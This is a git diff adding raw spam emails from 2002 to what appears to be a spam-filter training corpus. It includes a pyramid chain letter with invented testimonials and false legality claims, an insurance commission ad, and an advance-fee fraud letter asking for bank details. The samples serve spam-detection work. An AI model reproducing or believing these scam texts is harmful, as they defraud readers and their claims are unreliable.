cpunks@minder.net +Subject: Come on! It's fun and easy!! +X-Reply-To: freebie4u@sinatown.com +Content-Type: text/plain; charset=ISO-8859-1 +Message-ID: +X-OriginalArrivalTime: 21 Jul 2002 17:31:19.0892 (UTC) FILETIME=[6CF7E940:01C230DC] +Date: 21 Jul 2002 17:31:19 +0000 +MIME-Version: 1.0 +Content-Transfer-Encoding: quoted-printable +X-MIME-Autoconverted: from 8bit to quoted-printable by hq.pro-ns.net id g6LLhkCT049707 + +*** PLEASE READ THIS EMAIL TO THE END *** +=A0 +Try it. Just for fun. It will cost you 25$ to earn at least thousands of = +dollars !!! This thing=20 +is legal because you are buying and selling something of value: marketing= + reports. +=A0 +There is MY true story. +=A0 +I received by email the instructions include in this letter. It interests= + me because the=20 +system was quite simple. In the list of people selling the reports (as yo= +u will see above),=20 +there was a guy living not so far. I searched for his phone number and I = +called him. I just=20 +wanted to know if this system was really working. He told me his business= + was going=20 +very well and he was receiving from 50$ to 150$ in CASH everyday! That's = +why I went=20 +into this thing! +=A0 +=A0 +THANK'S TO THE COMPUTER AGE AND THE INTERNET! +=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= +=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D +BE AN INTERNET MILLIONAIRE LIKE OTHERS WITHIN A YEAR!!! +=A0 +Before you say ''Bull'', please read the following. This is the letter yo= +u have been hearing=20 +about on the news lately. Due to the popularity of this letter on the Int= +ernet, a national=20 +weekly news program recently devoted an entire show to the investigation = +of this program=20 +described below, to see if it really can make people money. The show also= + investigated=20 +whether or not the program was legal. +=A0 +Their findings proved once and for all that there are ''absolutely NO Law= +s prohibiting the=20 +participation in the program and if people can "follow the simple instruc= +tion" they are=20 +bound to make some mega bucks with only $25 out of pocket cost''. +=A0 +=3D=3D PRINT THIS NOW FOR YOUR FUTURE REFERENCE =3D=3D +$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ +=A0 +If you would like to make at least $500,000 every 4 to 5 months easily an= +d comfortably,=20 +please read the following... THEN READ IT AGAIN and AGAIN!!! +=A0 +$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ +=A0 +FOLLOW THE SIMPLE INSTRUCTION BELOW AND=20 +YOUR FINANCIAL DREAMS WILL COME TRUE, GUARANTEED! +=A0 +INSTRUCTIONS: +=A0 +=3D=3D=3D=3D=3DOrder all 5 reports shown on the list below =3D=3D=3D=3D=3D +=A0 +For each report, send $5 CASH, THE NAME & NUMBER OF THE REPORT YOU ARE=20 +ORDERING and YOUR E-MAIL ADDRESS to the person whose name appears ON=20 +THAT LIST next to the report. MAKE SURE YOUR RETURN ADDRESS IS ON YOUR=20 +ENVELOPE TOP LEFT CORNER in case of any mail problems. +=A0 +=3D=3D=3DWHEN YOU PLACE YOUR ORDER, MAKE SURE =3D=3D=3D +=3D=3D=3DYOU ORDER EACH OF THE 5 REPORTS! =3D=3D=3D +=A0 +You will need all 5 reports so that you can save them on your computer an= +d resell them.=20 +=A0 +YOUR TOTAL COST $5 X 5 =3D $25.00. +=A0 +Within a few days you will receive, via e-mail, each of the 5 reports fro= +m these 5 different=20 +individuals. Save them on your computer so they will be accessible for yo= +u to send to the=20 +1,000's of people who will order them from you. Also make a floppy of the= +se reports and=20 +keep it on your desk in case something happens to your computer. +=A0 +IMPORTANT - DO NOT alter the names of the people who are listed next to e= +ach report,=20 +or their sequence on the list, in any way other than what is instructed b= +elow in step '' 1=20 +through 6 '' or you will loose out on the majority of your profits. Once = +you understand the=20 +way this works, you will also see how it does not work if you change it.=20 +=A0 +Remember, this method has been tested, and if you alter it, it will NOT w= +ork!!! People=20 +have tried to put their friends/relatives names on all five thinking they= + could get all the=20 +money. But it does not work this way. Believe us, some have tried to be g= +reedy and then=20 +nothing happened. So Do Not try to change anything other than what is ins= +tructed.=20 +Because if you do, it will not work for you. Remember, honesty reaps the = +reward!!!=20 +=A0 +This IS a legitimate BUSINESS. You are offering a product for sale and ge= +tting paid for it.=20 +Treat it as such and you will be VERY profitable in a short period of tim= +e. +=A0 +1.. After you have ordered all 5 reports, take this advertisement and REM= +OVE the name=20 +& address of the person in REPORT # 5. This person has made it through th= +e cycle and=20 +is no doubt counting their fortune. +=A0 +2..Move the name & address in REPORT # 4 down TO REPORT # 5. +=A0 +3.. Move the name & address in REPORT # 3 down TO REPORT # 4. +=A0 +4.. Move the name & address in REPORT # 2 down TO REPORT # 3. +=A0 +5.. Move the name & address in REPORT # 1 down TO REPORT # 2 +=A0 +6.... Insert YOUR name & address in the REPORT # 1 Position. +=A0 +PLEASE MAKE SURE you copy every name & address ACCURATELY! This is critic= +al=20 +to YOUR success. +=A0 +Take this entire letter, with the modified list of names, and save it on = +your computer. DO=20 +NOT MAKE ANY OTHER CHANGES. +=A0 +Save this on a disk as well just in case if you loose any data. To assist= + you with=20 +marketing your business on the internet, the 5 reports you purchase will = +provide you with=20 +invaluable marketing information which includes how to send bulk e-mails = +legally, where=20 +to find thousands of free classified ads and much more. There are 2 prima= +ry methods to=20 +get this venture going: +=A0 +METHOD # 1: BY SENDING BULK E-MAIL LEGALLY +=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= +=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D +=A0 +Let's say that you decide to start small, just to see how it goes, and we= + will assume You=20 +and those involved send out only 5,000 e-mails each. Let's also assume th= +at the mailing=20 +receive only a 0.2% (2/10 of 1%) response (the response could be much bet= +ter but lets=20 +just say it is only 0.2%). Also many peoplewill send out hundreds of thou= +sands e-mails=20 +instead of only 5,000 each). +=A0 +Continuing with this example, you send out only 5,000 e-mails. With a 0.2= +% response,=20 +that is only 10 orders for report # 1. Those 10 people responded by sendi= +ng out 5,000 e- +mail each for a total of 50,000. Out of those 50,000 e-mails only 0.2% re= +sponded with=20 +orders. That's=3D100 people responded and ordered Report # 2. +=A0 +Those 100 people mail out 5,000 e-mails each for a total of 500,000 e-mai= +ls. The 0.2%=20 +response to that is 1000 orders for Report # 3. +=A0 +Those 1000 people send 5,000 e-mail each for a total of 5 million e-mail = +sent out. The=20 +0.2% response is 10,000 orders for Report # 4. +=A0 +Those 10,000 people send out 5,000 e-mails each for a total of 50,000,000= +(50 million) e- +mails. The 0.2% response to that is 100,000 orders for Report # 5.=20 +=A0 +=A0 +THAT'S 100,000 ORDERS TIMES $5 EACH =3D $500,000.00 (half a million dolla= +rs). +=A0 +Your total income in this example is: 1..... $50 + 2..... $500 + 3.....$5= +,000 + 4.....=20 +$50,000 + 5.... $500,000 ....=20 +Grand Total =3D $555,550.00 +=A0 +NUMBERS DO NOT LIE. GET A PENCIL & PAPER AND FIGURE OUT THE WORST=20 +POSSIBLE RESPONSES AND NO MATTER HOW YOU CALCULATE IT, YOU WILL=20 +STILL MAKE A LOT OF MONEY ! +=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= +=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D +=A0 +REMEMBER FRIEND, THIS IS ASSUMING ONLY 10 PEOPLE ORDERING OUT OF=20 +5,000 YOU MAILED TO. Dare to think for a moment what would happen if ever= +yone or=20 +half or even one 4th of those people mailed 100,000 e-mails each or more? +=A0 +There are over 150 million people on the Internet worldwide and counting,= + with thousands=20 +more coming on line every day. Believe me, many people will do just that,= + and more! +=A0 +METHOD # 2: BY PLACING FREE ADS ON THE INTERNET +=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= +=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D +=A0 +Advertising on the net is very, very inexpensive and there are hundreds o= +f FREE places=20 +to advertise. Placing a lot of free ads on the Internet will easily get a= + larger response. We=20 +strongly suggest you start with Method # 1 and add METHOD #2 as you go al= +ong. For=20 +every $5 you receive, all you must do is e-mail them the Report they orde= +red. That's it.=20 +Always provide same day service on all orders. +=A0 +This will guarantee that the e-mail they send out, with your name and add= +ress on it, will=20 +be prompt because they can not advertise until they receive the report. +=A0 +=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D AVAILABLE REPORTS =3D=3D=3D=3D=3D=3D=3D= +=3D=3D=3D=3D=3D=3D=3D +The reason for the "cash" is not because this is illegal or somehow "wron= +g". It is simply=20 +about time. Time for checks or credit cards to be cleared or approved, et= +c. Concealing it=20 +is simply so no one can SEE there is money in the envelope and steal it b= +efore it gets to=20 +you. +=A0 +ORDER EACH REPORT BY ITS NUMBER & NAME ONLY. Notes: Always send $5=20 +cash (U.S. CURRENCY) for each Report. Checks NOT accepted. Make sure the = +cash is=20 +concealed by wrapping it in at least 2 sheets of paper. On one of those s= +heets of paper,=20 +Write the NUMBER & the NAME of the Report you are ordering, YOUR E-MAIL=20 +ADDRESS and your name and postal address. +=A0 +PLACE YOUR ORDER FOR THESE REPORTS NOW : +=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= +=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3DREPORT # 1: 'The Insider'= +s=20 +Guide To Advertising for Free On The Net +=A0 +Order Report #1 from:=20 +Y.L.Wong +P.O. Box NO. 71819 +Kowloon Central Post Office +Hong Kong +__________________________________________________ +=A0 +REPORT # 2: The Insider's Guide To Sending Bulk Email On The Net +=A0 +Order Report # 2 from:=20 +Martin Veronneau +C.P. 70058 +Laval, Quebec +H7R 5Z2 +Canada + +__________________________________________________ +=A0 +REPORT # 3: Secret To Multilevel Marketing On The Net +=A0 +Order Report # 3 from:=20 +Francis Kidd +P.O. Box 209 +Homestead, PA 15120 +USA +=A0 +__________________________________________________ +=A0 +REPORT # 4: How To Become A Millionaire Using MLM & The Net +=A0 +Order Report # 4 from:=20 +M.L. Frayser +P.O. Box 61432 +Fort Myers, FL 33906 +USA + +__________________________________________________ +=A0 +REPORT # 5: How To Send Out One Million Emails For Free +=A0 +Order Report # 5 From:=20 +Stone Evans=20 +600 N. Pearl, Suite G103 +Dallas, TX 75201 +USA=20 +=A0=A0 +__________________________________________________ +$$$$$$$$$ YOUR SUCCESS GUIDELINES $$$$$$$$$$$ +=A0 +Follow these guidelines to guarantee your success: +=A0 +=3D=3D=3D If you do not receive at least 10 orders for Report #1 within 2= + weeks, continue=20 +sending e-mails until you do. +=A0 +=3D=3D=3D After you have received 10 orders, 2 to 3 weeks after that you = +should receive 100=20 +orders or more for REPORT # 2. If you did not, continue advertising or se= +nding e-mails=20 +until you do. +=A0 +**Once you have received 100 or more orders for Report # 2, YOU CAN RELAX= +, because=20 +the system is already working for you, and the cash will continue to roll= + in ! THIS IS=20 +IMPORTANT TO REMEMBER: Every time your name is moved down on the list, yo= +u are=20 +placed in front of a Different report. +=A0 +You can KEEP TRACK of your PROGRESS by watching which report people are=20 +ordering from you. IF YOU WANT TO GENERATE MORE INCOME SEND ANOTHER=20 +BATCH OF E-MAILS AND START THE WHOLE PROCESS AGAIN. There is NO LIMIT=20 +to the income you can generate from this business!!! +=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= +=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D +FOLLOWING IS A NOTE FROM THE ORIGINATOR OF THIS PROGRAM:=20 +You have just received information that can give you financial freedom fo= +r the rest of your=20 +life, with NO RISK and JUST A LITTLE BIT OF EFFORT. You can make more mon= +ey in=20 +the next few weeks and months than you have ever imagined. Follow the pro= +gram=20 +EXACTLY AS INSTRUCTED. Do Not change it in any way. It works exceedingly = +well as=20 +it is now. +=A0 +Remember to e-mail a copy of this exciting report after you have put your= + name and=20 +address in Report #1 and moved others to #2 .....# 5 as instructed above.= + One of the=20 +people you send this to may send out 100,000 or more e-mails and your nam= +e will be on=20 +every one of them.=20 +=A0 +Remember though, the more you send out the more potential customers you w= +ill reach.=20 +So my friend, I have given you the ideas, information, materials and oppo= +rtunity to=20 +become financially independent. +=A0 +IT IS UP TO YOU NOW! +=A0 +=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3DTESTIMONIALS=3D=3D=3D=3D=3D=3D=3D=3D= +=3D=3D=3D=3D=3D=3D=3D +''My name is Mitchell. My wife, Jody and I live in Chicago. I am an accou= +ntant with a=20 +major U.S. Corporation and I make pretty good money. When I received this= + program I=20 +grumbled to Jody about receiving 'junk mail'. I made fun of the whole thi= +ng, spouting my=20 +knowledge of the population and percentages involved. I ''knew'' it would= +n't work. Jody=20 +totally ignored my supposed intelligence and few days later she jumped in= + with both feet.=20 +I made merciless fun of her, and was ready to lay the old ''I told you so= +'' on her when the=20 +thing didn't work.=20 +=A0 +Well, the laugh was on me! Within 3 weeks she had received 50 responses. = +Within the=20 +next 45 days she had received total $ 147,200.00......... all cash! I was= + shocked. I have=20 +joined Jodyin her ''hobby''. +=A0 +Mitchell Wolf M.D., Chicago, Illinois +=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= +=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D +''Not being the gambling type, it took me several weeks to make up my min= +d to=20 +participate in this plan. But conservative as I am, I decided that the in= +itial investment was=20 +so little that there was just no way that I wouldn't get enough orders to= + at least get my=20 +money back. I was surprised when I found my medium size post office box c= +rammed=20 +with orders. I made $319,210.00 in the first 12 weeks.=20 +=A0 +The nice thing about this deal is that it does not matter where people li= +ve. There simply=20 +isn't a better investment with a faster return and so big''.=20 +=A0 +Dan Sondstrom, Alberta, Canada +=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= +=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D +''I had received this program before. I deleted it, but later I wondered = +if I should have given=20 +it a try. Of course, I had no idea who to contact to get another copy, so= + I had to wait until=20 +I was e-mailed again by someone else.........11 months passed then it luc= +kily came=20 +again...... I did not delete this one! I made more than $490,000 on my fi= +rst try and all the=20 +money came within 22 weeks''.=20 +=A0 +Susan De Suza, New York, N.Y. +=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= +=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D +''It really is a great opportunity to make relatively easy money with lit= +tle cost to you. I=20 +followed the simple instructions carefully and within 10 days the money s= +tarted to come=20 +in. My first month I made $20, in the 2nd month I made $560.00 and by the= + end of third=20 +month my total cash count was $362,840.00. Life is beautiful, Thanx to in= +ternet''.=20 +=A0 +Fred Dellaca, Westport, New Zealand +=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= +=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D +=A0 +ORDER YOUR REPORTS TODAY AND GET STARTED ON YOUR ROAD TO=20 +FINANCIAL FREEDOM ! +=A0 +=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= +=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D +If you have any questions of the legality of this program, contact the Of= +fice of Associate=20 +Director for Marketing Practices, Federal Trade Commission, Bureau of Con= +sumer=20 +Protection, Washington, D.C. +=A0 +=A0 +This message is sent in compliance of the proposed bill SECTION 301, para= +graph=20 +(a)(2)(C) of S. 1618.=20 +=A0 +=A0 +* This message is not intended for residents in the State of Washington, = +Virginia or=20 +California, screening of addresses has been done to the best of our techn= +ical ability. +=A0 +* This is a one-time mailing and this list will never be used again. +=A0 +=A0 +* To be removed from this list, please send an email with the word REMOVE= + in the=20 +subject line to freebie4u@sinatown.com +=A0 + + + +--DeathToSpamDeathToSpamDeathToSpam-- + + +------------------------------------------------------- +This sf.net email is sponsored by:ThinkGeek +Welcome to geek heaven. +http://thinkgeek.com/sf +_______________________________________________ +Spamassassin-Sightings mailing list +Spamassassin-Sightings@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/spamassassin-sightings + + diff --git a/bayes/spamham/spam_2/00831.630c53b642a54592bd4fb097ba4e88b0 b/bayes/spamham/spam_2/00831.630c53b642a54592bd4fb097ba4e88b0 new file mode 100644 index 0000000..376e568 --- /dev/null +++ b/bayes/spamham/spam_2/00831.630c53b642a54592bd4fb097ba4e88b0 @@ -0,0 +1,179 @@ +Received: from hq.pro-ns.net (localhost [127.0.0.1]) + by hq.pro-ns.net (8.12.5/8.12.5) with ESMTP id g6LJEFCU088070 + (version=TLSv1/SSLv3 cipher=EDH-DSS-DES-CBC3-SHA bits=168 verify=NO) + for ; Sun, 21 Jul 2002 14:14:16 -0500 (CDT) + (envelope-from cpunks@hq.pro-ns.net) +Received: (from cpunks@localhost) + by hq.pro-ns.net (8.12.5/8.12.5/Submit) id g6LJEF6o088064 + for cypherpunks-forward@ds.pro-ns.net; Sun, 21 Jul 2002 14:14:15 -0500 (CDT) +Received: from locust.minder.net (locust.minder.net [66.92.53.74]) + by hq.pro-ns.net (8.12.5/8.12.5) with ESMTP id g6LJECCU088005 + (version=TLSv1/SSLv3 cipher=EDH-DSS-DES-CBC3-SHA bits=168 verify=NO) + for ; Sun, 21 Jul 2002 14:14:14 -0500 (CDT) + (envelope-from cpunks@waste.minder.net) +Received: from waste.minder.net (daemon@waste [66.92.53.73]) + by locust.minder.net (8.11.6/8.11.6) with ESMTP id g6LJEAJ77863 + for ; Sun, 21 Jul 2002 15:14:11 -0400 (EDT) + (envelope-from cpunks@waste.minder.net) +Received: (from cpunks@localhost) + by waste.minder.net (8.11.6/8.11.6) id g6LJE9629743 + for cypherpunks@ds.pro-ns.net; Sun, 21 Jul 2002 15:14:09 -0400 +Received: from locust.minder.net (locust.minder.net [66.92.53.74]) + by waste.minder.net (8.11.6/8.11.6) with ESMTP id g6LJE6R29699 + for ; Sun, 21 Jul 2002 15:14:06 -0400 +Received: from einstein.ssz.com (cpunks@[207.200.56.4]) + by locust.minder.net (8.11.6/8.11.6) with ESMTP id g6LJE4J77822 + for ; Sun, 21 Jul 2002 15:14:04 -0400 (EDT) + (envelope-from cpunks@einstein.ssz.com) +Received: (from cpunks@localhost) + by einstein.ssz.com (8.8.8/8.8.8) id OAA11797 + for cpunks@minder.net; Sun, 21 Jul 2002 14:22:09 -0500 +Received: (from mdom@localhost) + by einstein.ssz.com (8.8.8/8.8.8) id OAA11784 + for cypherpunks-outgoing; Sun, 21 Jul 2002 14:21:19 -0500 +Received: from mkt1.verticalresponse.com (mkt1.verticalresponse.com [130.94.4.19]) + by einstein.ssz.com (8.8.8/8.8.8) with SMTP id OAA11775 + for ; Sun, 21 Jul 2002 14:21:10 -0500 +Message-Id: <200207211921.OAA11775@einstein.ssz.com> +Received: (qmail 2710 invoked from network); 21 Jul 2002 19:12:58 -0000 +Received: from unknown (130.94.4.23) + by 0 with QMQP; 21 Jul 2002 19:12:58 -0000 +From: "Special Deals" +To: cypherpunks@einstein.ssz.com +Old-Subject: CDR: Are you a little behind the times? +Date: Sun, 21 Jul 2002 19:12:58 +0000 +MIME-Version: 1.0 +Content-Transfer-Encoding: 7bit +Content-Type: multipart/alternative; + boundary="__________MIMEboundary__________" +Sender: owner-cypherpunks@einstein.ssz.com +Precedence: bulk +Reply-To: cypherpunks@einstein.ssz.com +X-Mailing-List: cypherpunks@ssz.com +X-Unsubscription-Info: http://einstein.ssz.com/cdr +X-List-Admin: list@ssz.com +X-Loop: ssz.com +X-Acceptable-Languages: English, Russian, German, French, Spanish +Subject: Are you a little behind the times? + +This is a multi-part message in MIME format. + +--__________MIMEboundary__________ +Content-Type: text/plain +Content-Transfer-Encoding: 7bit + +Are you a little behind the times? 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    + + [JK9^":}H&*TG0BK5NKIYs5] + + diff --git a/bayes/spamham/spam_2/00838.a9f6a5bc71c83bd73764f3945b5b9074 b/bayes/spamham/spam_2/00838.a9f6a5bc71c83bd73764f3945b5b9074 new file mode 100644 index 0000000..017952d --- /dev/null +++ b/bayes/spamham/spam_2/00838.a9f6a5bc71c83bd73764f3945b5b9074 @@ -0,0 +1,280 @@ +From legaliq@insurancemail.net Mon Jul 22 17:45:01 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id D03E3440C8 + for ; Mon, 22 Jul 2002 12:44:55 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 22 Jul 2002 17:44:55 +0100 (IST) +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6MFkkI10348 for + ; Mon, 22 Jul 2002 16:46:47 +0100 +Received: from mail1.insuranceiq.com (host66.insuranceiq.com + [65.217.159.66] (may be forged)) by webnote.net (8.9.3/8.9.3) with ESMTP + id WAA29243 for ; Sun, 21 Jul 2002 22:54:50 +0100 +Received: from mail pickup service by mail1.insuranceiq.com with Microsoft + SMTPSVC; Sun, 21 Jul 2002 17:43:54 -0400 +Subject: 35% Lifetime Renewals - Unbeatable Product! +To: +Date: Sun, 21 Jul 2002 17:43:54 -0400 +From: "LegalIQ" +Message-Id: +MIME-Version: 1.0 +X-Mailer: Microsoft CDO for Windows 2000 +Thread-Index: AcIw56iOcPN58t7tSk+gKvY6ZdHHsw== +X-Mimeole: Produced By Microsoft MimeOLE V5.50.4522.1200 +Content-Class: urn:content-classes:message +X-Originalarrivaltime: 21 Jul 2002 21:43:54.0031 (UTC) FILETIME=[B58A03F0:01C230FF] +Content-Type: multipart/alternative; boundary="----=_NextPart_000_C9DC9_01C230C6.21818770" + +This is a multi-part message in MIME format. + +------=_NextPart_000_C9DC9_01C230C6.21818770 +Content-Type: text/plain; + charset="Windows-1252" +Content-Transfer-Encoding: quoted-printable + + Unbeatable Product...Unbeatable Commissions!=09 + LegalIQ - America's Premier Discount Legal Services Program=09 + NO License Required=0A= +There are NO Start-Up Fees=0A= +This is NOT Multilevel +Marketing=09 + First Year Commission: 40%=0A= +Lifetime Renewal Commissions: Up to 35%=09 + + +Don't forget to visit our web site! =09 + Please fill out the form below for +Contracting Information and Marketing Supplies =09 +First Name: =09 +Last Name: =09 +E-mail: =09 +Phone: =09 +Address: =09 +Address2: =09 +City: State: Zip: =20 + =09 +=20 + LegalIQ - Part of the IQ Group of Companies=09 +We don't want anybody to receive our mailing who does not wish to +receive them. This is professional communication sent to insurance +professionals. To be removed from this mailing list, DO NOT REPLY to +this message. Instead, go here: http://www.insurancemail.net +=20 +Legal Notice =20 + + +------=_NextPart_000_C9DC9_01C230C6.21818770 +Content-Type: text/html; + charset="iso-8859-1" +Content-Transfer-Encoding: quoted-printable + + + +35% Lifetime Renewals - Unbeatable Product! + + + + +

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    + + + + + diff --git a/bayes/spamham/spam_2/00840.819e7f38c3eced79f5e956fd95103957 b/bayes/spamham/spam_2/00840.819e7f38c3eced79f5e956fd95103957 new file mode 100644 index 0000000..383f6c3 --- /dev/null +++ b/bayes/spamham/spam_2/00840.819e7f38c3eced79f5e956fd95103957 @@ -0,0 +1,86 @@ +Received: from maktoob.com ([208.227.137.87]) + by linux.midrange.com (8.11.6/8.11.6) with SMTP id g6LEbje31790 + for ; Sun, 21 Jul 2002 09:37:51 -0500 +Message-Id: <200207211437.g6LEbje31790@linux.midrange.com> +From: "AB Sanni" +To: +Subject: +Sender: "AB Sanni" +Mime-Version: 1.0 +Content-Type: text/plain; charset="ISO-8859-1" +Date: Sun, 21 Jul 2002 15:37:30 -0700 +Reply-To: "AB Sanni" +Content-Transfer-Encoding: 8bit +X-IMAPbase: 1027268964 2 +X-Status: +X-Keywords: + +20th July, 2002 + +To: The President + +From: AB Sanni + +Assalam Aleikum, + +I wish to seek your assistance in a matter that needs trust secrecy and +confidentiality. + +I am A. B. Sanni, a close confidant to Mohammed Abacha, son of late +General Sani Abacha, former head of state Federal Republic of Nigeria, who +ruled from November 17th 1993 to June 8th 1998 when he died suddenly in +office. + +Since then, the family as a whole has been facing all sorts of +harassments, by security operatives/agents of the new Head of State +(General Obasanjo) who served a jail term under my friend's father for +coup offence. Even my friend's old mother has been detained and tortured +many times. Mohammed is now being charged for military decision of his +father's regime e.g. the murder cases of political opponents. These +offences he knows nothing about, as he was only the Head of State's son, +not even a military man nor was he in the government. + +His father ruled for five years during which period he acquired financial +gains and property all over the world from his share of Crude Oil Sales as +the Head of State. Now, the family has lost all assets (property and money +in Nigeria) to the new government. Ref. News Watch Magazine publication of +11th to 18th October, 1999. However, they have hidden records in a secret +name with the Nigerian Insurance Deposit Corporation to access a coded +trust accounts in Europe valued at Three Hundred and Thirty Eight Million +United States Dollars only ($338,000,000). Mohammed is currently being +detained and tortured to sign off accounts of his late father and he has +done that but not the coded trust accounts in the name of certain +government multinational contractors that I can not disclose now. + +THE AIM OF THIS LETTER IS TO REQUEST YOUR ASSISTANCE TO SECURE THIS +ACCOUNT IN A SAFE/CONFIDENTIAL BANK AND HELP INVEST THE MONEY FOR OUR +MUTUAL BENEFIT. We also expect to use some of our share of the money to +relocate ourselves to another safe Country because right now Nigeria is +not safe and we will like to go into hiding overseas if we can escape. + +If you are interested in helping secure the accounts please contact me +immediately by email "a_sanni@email.com", so that we can arrange an +initial meeting in a neighboring country, thus you can present your +investment program and projects for our assessment. Thereafter we will +sign an MOU (Memorandum of Understanding) binding this business +relationship and immediately entrust you to access the coded trust +accounts in Europe valued at Three Hundred and Thirty Eight Million United +States Dollars only ($338,000,000). + +We will depend on your business experience to make sure that we get +maximum returns on our investment with you. + +PLEASE NOTE THAT IN THE PROCESS OF SECURING THE CODED TRUST ACCOUNT YOU +ARE LIKELY TO INCURE EXPENSES BUT IT WILL BE PAID BACK ONCE WE SECURE THE +DEPOSIT. IT IS 100% SAFE FOR YOU AND YOU HAVE NOTHING TO WORRY ABOUT. +Just forward via email your full name, phone number, fax number and bank +details as the new beneficiary to enable us make formal application for +the transfer of ownership to you. + +We look forward to your helping us, but if you are not interested kindly +discard this letter and still maintain its confidentiality. + +Ma-Salam. + +For Mohammed Abacha + diff --git a/bayes/spamham/spam_2/00841.1daced0eafff035e9fb8aa9f58e6bcce b/bayes/spamham/spam_2/00841.1daced0eafff035e9fb8aa9f58e6bcce new file mode 100644 index 0000000..33a73a5 --- /dev/null +++ b/bayes/spamham/spam_2/00841.1daced0eafff035e9fb8aa9f58e6bcce @@ -0,0 +1,102 @@ +Received: from hq.pro-ns.net (localhost [127.0.0.1]) + by hq.pro-ns.net (8.12.5/8.12.5) with ESMTP id g6MFTuhY074269 + (version=TLSv1/SSLv3 cipher=EDH-DSS-DES-CBC3-SHA bits=168 verify=NO) + for ; Mon, 22 Jul 2002 10:29:56 -0500 (CDT) + (envelope-from cpunks@hq.pro-ns.net) +Received: (from cpunks@localhost) + by hq.pro-ns.net (8.12.5/8.12.5/Submit) id g6MFTuvu074263 + for cypherpunks-forward@ds.pro-ns.net; Mon, 22 Jul 2002 10:29:56 -0500 (CDT) +Received: from locust.minder.net (locust.minder.net [66.92.53.74]) + by hq.pro-ns.net (8.12.5/8.12.5) with ESMTP id g6MFTnhY074205 + (version=TLSv1/SSLv3 cipher=EDH-DSS-DES-CBC3-SHA bits=168 verify=NO) + for ; Mon, 22 Jul 2002 10:29:50 -0500 (CDT) + (envelope-from cpunks@waste.minder.net) +Received: from waste.minder.net (daemon@waste [66.92.53.73]) + by locust.minder.net (8.11.6/8.11.6) with ESMTP id g6MFTmJ38660 + for ; Mon, 22 Jul 2002 11:29:48 -0400 (EDT) + (envelope-from cpunks@waste.minder.net) +Received: (from cpunks@localhost) + by waste.minder.net (8.11.6/8.11.6) id g6MFTl028290 + for cypherpunks@ds.pro-ns.net; Mon, 22 Jul 2002 11:29:47 -0400 +Received: from locust.minder.net (locust.minder.net [66.92.53.74]) + by waste.minder.net (8.11.6/8.11.6) with ESMTP id g6MFTkR28277 + for ; Mon, 22 Jul 2002 11:29:46 -0400 +Received: from einstein.ssz.com (cpunks@[207.200.56.4]) + by locust.minder.net (8.11.6/8.11.6) with ESMTP id g6MFTjJ38644 + for ; Mon, 22 Jul 2002 11:29:45 -0400 (EDT) + (envelope-from cpunks@einstein.ssz.com) +Received: (from cpunks@localhost) + by einstein.ssz.com (8.8.8/8.8.8) id KAA11710 + for cpunks@minder.net; Mon, 22 Jul 2002 10:37:55 -0500 +Received: from serv.faber.com.tw ([211.21.192.180]) + by einstein.ssz.com (8.8.8/8.8.8) with ESMTP id KAA11698; + Mon, 22 Jul 2002 10:37:50 -0500 +From: PaulBennert4U0@msn.com +Received: from mx1.mail.yahoo.com ([193.110.58.63] RDNS failed) by serv.faber.com.tw with Microsoft SMTPSVC(5.0.2195.4453); + Mon, 22 Jul 2002 16:45:11 +0800 +Message-ID: 